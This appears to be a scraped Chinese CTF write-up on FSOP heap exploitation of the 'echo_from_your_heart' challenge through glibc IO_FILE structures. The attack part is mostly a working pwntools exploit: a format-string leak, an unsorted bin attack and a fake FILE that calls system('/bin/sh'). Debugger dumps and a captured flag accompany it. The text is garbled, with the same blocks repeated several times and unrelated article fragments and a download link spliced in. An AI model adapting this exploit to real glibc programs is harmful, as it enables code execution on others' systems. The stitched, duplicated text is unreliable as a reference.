fakechunk += p64(0) + p64(str_bin_sh_addr) fakechunk = fakechunk.ljust(0xd0, b"\x00") fakechunk += p64(0) fakechunk += p64(vtable_addr-0x8) fakechunk = fakechunk.ljust(0xe8, b"\x00") payload += fakechunk payload += p64(system_addr) mian_fun(0x20,payload) io.sendline("1") io.interactive() if __name__ == '__main__': main() 执行成功效果 ======= Memory map: ======== 555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555756000-555555799000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x19 bytes: b'flag{Cragratulations!!!}\n' flag{Cragratulations!!!} IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read 链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc #####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数 ######先拖入ida: __int6... 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 查看setname功能,发现此功能只能输入7个字节,不具备RO... arena usage: arena [-h] [addr] Prints out the main arena or the arena at the specified by address.打印main arena特定地址的arena arenas usage: arenas [-h]...
void _IO_str_finish (FILE *fp, int dummy) if (fp->_IO_buf_base && !(fp->_flags & 1)) ((void (*)(void))fp + 0xE8 ) (fp->_IO_buf_base); // call qword ptr [fp+E8h] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); fp->_IO_buf_base为真 fp->_flags & 1 为假 // fp->_flags=0 1. fp->_mode = 0 2. fp->_IO_write_ptr > fp->_IO_write_base 3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size) 4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件) vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish 5. fp->_flags= 0 6. fp->_IO_buf_base = binsh_addr 7. fp+0xe8 = system_addr fp+E8处填成system_addr ,还有 fp->_IO_buf_base填上binsh_addr地址主要是利用__IO_str_jumps地址错位的方法,通过_IO_str_jumps - 8来调用_IO_str_finish(通过别的函数偏移可能不一样) 调用_IO_flush_all_lockp: 0x7ffff7a89194 <_IO_flush_all_lockp+356> mov rax, qword ptr [rbx + 0xd8] ► 0x7ffff7a8919b <_IO_flush_all_lockp+363> mov esi, 0xffffffff 0x7ffff7a891a0 <_IO_flush_all_lockp+368> mov rdi, rbx 0x7ffff7a891a3 <_IO_flush_all_lockp+371> call qword ptr [rax + 0x18] 调用_IO_str_finish: ► 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi 即将call _IO_str_finish: ► 0x7ffff7a89fc2 <_IO_str_finish+18> call qword ptr [rbx + 0xe8] <system> 调用system: pwndbg> si RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ *RIP 0x7ffff7a523a0 (system) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a523a0 <system> test rdi, rdi 0x7ffff7a523a3 <system+3> je system+16 <system+16> 0x7ffff7a523a5 <system+5> jmp do_system <do_system> 0x7ffff7a51e30 <do_system> push r12 0x7ffff7a51e32 <do_system+2> push rbp 0x7ffff7a51e33 <do_system+3> xor eax, eax 关于“/bin/sh”参数的偏移位置 RDX 0x0 RDI 0x5555557560d0 ◂— 0x0 # RDI point to fake chunk RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov rdi, qword ptr [rdi + 0x38] ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi ► 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> 0x00007ffff7a89fb8 319 in strops.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x7ffff7dd0798 ◂— 0x0 RBX 0x5555557560d0 ◂— 0x0 RCX 0x7ffff7a42740 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x0 *RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ► 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['terminator', '-x', 'sh', '-c'] # io = remote("220.249.52.134",59762) io = process("./echo_from_your_heart") elf = ELF("./echo_from_your_heart") context(arch = "amd64", os = 'linux') # libc = ELF("./libc-2.24.so") libc = ELF("./libc-2.23.so") gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)") def mian_fun(length,word): io.recvuntil("lens of your word: ") io.sendline(str(length)) io.recvuntil("word: ") io.sendline(word) def main(): payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61) mian_fun(0x90,payload) io.recvuntil("deadbeef") address_list = io.recv() libc_start_mian = address_list.split(b"0x")[-1][0:12] libc_start_mian = int(libc_start_mian,16) - 240 log.success("libc_start_mian -> "+hex(libc_start_mian)) obj = LibcSearcher("__libc_start_main",libc_start_mian) libcbase = libc_start_mian - obj.dump("__libc_start_main") print(hex(libcbase)) system_addr = libcbase + obj.dump("system") log.success("system_addr -> "+hex(system_addr)) str_bin_sh_addr = libcbase + obj.dump("str_bin_sh") log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr)) payload = b"b"*0xf58 mian_fun(0xf70,payload) IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset)) io_str_jumps = libcbase + possible_IO_str_jumps_offset log.success("io_str_jumps -> "+hex(io_str_jumps)) break io_list_all = libcbase + obj.dump("_IO_list_all") log.success("io_list_all -> "+hex(io_list_all)) # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24 # vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23 # log.success("_IO_str_jumps -> "+hex(vtable_addr)) # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps vtable_addr = io_str_jumps payload = b"b"*0x20 # Plan A fakechunk = p64(0) + p64(0x61) # unsorted bin attack fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10) fakechunk += p64(2) + p64(3) fakechunk += p64(0) + p64(str_bin_sh_addr) fakechunk = fakechunk.ljust(0xd0, b"\x00") fakechunk += p64(0) fakechunk += p64(vtable_addr-0x8) fakechunk = fakechunk.ljust(0xe8, b"\x00") payload += fakechunk payload += p64(system_addr) mian_fun(0x20,payload) io.sendline("1") io.interactive() if __name__ == '__main__': main() 执行成功效果 ======= Memory map: ======== 555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555756000-555555799000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x19 bytes: b'flag{Cragratulations!!!}\n' flag{Cragratulations!!!} IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read 链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc #####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数 ######先拖入ida: __int6... 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 查看setname功能,发现此功能只能输入7个字节,不具备RO... arena usage: arena [-h] [addr] Prints out the main arena or the arena at the specified by address.打印main arena特定地址的arena arenas usage: arenas [-h]...
void _IO_str_finish (FILE *fp, int dummy) if (fp->_IO_buf_base && !(fp->_flags & 1)) ((void (*)(void))fp + 0xE8 ) (fp->_IO_buf_base); // call qword ptr [fp+E8h] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0);
fp->_IO_buf_base为真 fp->_flags & 1 为假 // fp->_flags=0 1. fp->_mode = 0 2. fp->_IO_write_ptr > fp->_IO_write_base 3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size) 4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件) vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish 5. fp->_flags= 0 6. fp->_IO_buf_base = binsh_addr 7. fp+0xe8 = system_addr fp+E8处填成system_addr ,还有 fp->_IO_buf_base填上binsh_addr地址主要是利用__IO_str_jumps地址错位的方法,通过_IO_str_jumps - 8来调用_IO_str_finish(通过别的函数偏移可能不一样) 调用_IO_flush_all_lockp: 0x7ffff7a89194 <_IO_flush_all_lockp+356> mov rax, qword ptr [rbx + 0xd8] ► 0x7ffff7a8919b <_IO_flush_all_lockp+363> mov esi, 0xffffffff 0x7ffff7a891a0 <_IO_flush_all_lockp+368> mov rdi, rbx 0x7ffff7a891a3 <_IO_flush_all_lockp+371> call qword ptr [rax + 0x18] 调用_IO_str_finish: ► 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi 即将call _IO_str_finish: ► 0x7ffff7a89fc2 <_IO_str_finish+18> call qword ptr [rbx + 0xe8] <system> 调用system: pwndbg> si RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ *RIP 0x7ffff7a523a0 (system) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a523a0 <system> test rdi, rdi 0x7ffff7a523a3 <system+3> je system+16 <system+16> 0x7ffff7a523a5 <system+5> jmp do_system <do_system> 0x7ffff7a51e30 <do_system> push r12 0x7ffff7a51e32 <do_system+2> push rbp 0x7ffff7a51e33 <do_system+3> xor eax, eax 关于“/bin/sh”参数的偏移位置 RDX 0x0 RDI 0x5555557560d0 ◂— 0x0 # RDI point to fake chunk RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov rdi, qword ptr [rdi + 0x38] ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi ► 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> 0x00007ffff7a89fb8 319 in strops.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x7ffff7dd0798 ◂— 0x0 RBX 0x5555557560d0 ◂— 0x0 RCX 0x7ffff7a42740 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x0 *RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ► 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['terminator', '-x', 'sh', '-c'] # io = remote("220.249.52.134",59762) io = process("./echo_from_your_heart") elf = ELF("./echo_from_your_heart") context(arch = "amd64", os = 'linux') # libc = ELF("./libc-2.24.so") libc = ELF("./libc-2.23.so") gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)") def mian_fun(length,word): io.recvuntil("lens of your word: ") io.sendline(str(length)) io.recvuntil("word: ") io.sendline(word) def main(): payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61) mian_fun(0x90,payload) io.recvuntil("deadbeef") address_list = io.recv() libc_start_mian = address_list.split(b"0x")[-1][0:12] libc_start_mian = int(libc_start_mian,16) - 240 log.success("libc_start_mian -> "+hex(libc_start_mian)) obj = LibcSearcher("__libc_start_main",libc_start_mian) libcbase = libc_start_mian - obj.dump("__libc_start_main") print(hex(libcbase)) system_addr = libcbase + obj.dump("system") log.success("system_addr -> "+hex(system_addr)) str_bin_sh_addr = libcbase + obj.dump("str_bin_sh") log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr)) payload = b"b"*0xf58 mian_fun(0xf70,payload) IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset)) io_str_jumps = libcbase + possible_IO_str_jumps_offset log.success("io_str_jumps -> "+hex(io_str_jumps)) break io_list_all = libcbase + obj.dump("_IO_list_all") log.success("io_list_all -> "+hex(io_list_all)) # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24 # vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23 # log.success("_IO_str_jumps -> "+hex(vtable_addr)) # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps vtable_addr = io_str_jumps payload = b"b"*0x20 # Plan A fakechunk = p64(0) + p64(0x61) # unsorted bin attack fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10) fakechunk += p64(2) + p64(3) fakechunk += p64(0) + p64(str_bin_sh_addr) fakechunk = fakechunk.ljust(0xd0, b"\x00") fakechunk += p64(0) fakechunk += p64(vtable_addr-0x8) fakechunk = fakechunk.ljust(0xe8, b"\x00") payload += fakechunk payload += p64(system_addr) mian_fun(0x20,payload) io.sendline("1") io.interactive() if __name__ == '__main__': main() 执行成功效果 ======= Memory map: ======== 555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555756000-555555799000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x19 bytes: b'flag{Cragratulations!!!}\n' flag{Cragratulations!!!} IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read 链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc #####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数 ######先拖入ida: __int6... 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 查看setname功能,发现此功能只能输入7个字节,不具备RO... arena usage: arena [-h] [addr] Prints out the main arena or the arena at the specified by address.打印main arena特定地址的arena arenas usage: arenas [-h]...
fp->_IO_buf_base为真 fp->_flags & 1 为假 // fp->_flags=0 1. fp->_mode = 0 2. fp->_IO_write_ptr > fp->_IO_write_base 3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size) 4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件) vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish 5. fp->_flags= 0 6. fp->_IO_buf_base = binsh_addr 7. fp+0xe8 = system_addr fp+E8处填成system_addr ,还有 fp->_IO_buf_base填上binsh_addr地址主要是利用__IO_str_jumps地址错位的方法,通过_IO_str_jumps - 8来调用_IO_str_finish(通过别的函数偏移可能不一样)
fp+E8处填成system_addr ,还有 fp->_IO_buf_base填上binsh_addr地址主要是利用__IO_str_jumps地址错位的方法,通过_IO_str_jumps - 8来调用_IO_str_finish(通过别的函数偏移可能不一样)
fp+E8
system_addr
fp->_IO_buf_base
binsh_addr
_IO_str_jumps - 8
_IO_str_finish
调用_IO_flush_all_lockp: 0x7ffff7a89194 <_IO_flush_all_lockp+356> mov rax, qword ptr [rbx + 0xd8] ► 0x7ffff7a8919b <_IO_flush_all_lockp+363> mov esi, 0xffffffff 0x7ffff7a891a0 <_IO_flush_all_lockp+368> mov rdi, rbx 0x7ffff7a891a3 <_IO_flush_all_lockp+371> call qword ptr [rax + 0x18] 调用_IO_str_finish: ► 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi 即将call _IO_str_finish: ► 0x7ffff7a89fc2 <_IO_str_finish+18> call qword ptr [rbx + 0xe8] <system> 调用system: pwndbg> si RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ *RIP 0x7ffff7a523a0 (system) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a523a0 <system> test rdi, rdi 0x7ffff7a523a3 <system+3> je system+16 <system+16> 0x7ffff7a523a5 <system+5> jmp do_system <do_system> 0x7ffff7a51e30 <do_system> push r12 0x7ffff7a51e32 <do_system+2> push rbp 0x7ffff7a51e33 <do_system+3> xor eax, eax 关于“/bin/sh”参数的偏移位置 RDX 0x0 RDI 0x5555557560d0 ◂— 0x0 # RDI point to fake chunk RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov rdi, qword ptr [rdi + 0x38] ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi ► 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> 0x00007ffff7a89fb8 319 in strops.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x7ffff7dd0798 ◂— 0x0 RBX 0x5555557560d0 ◂— 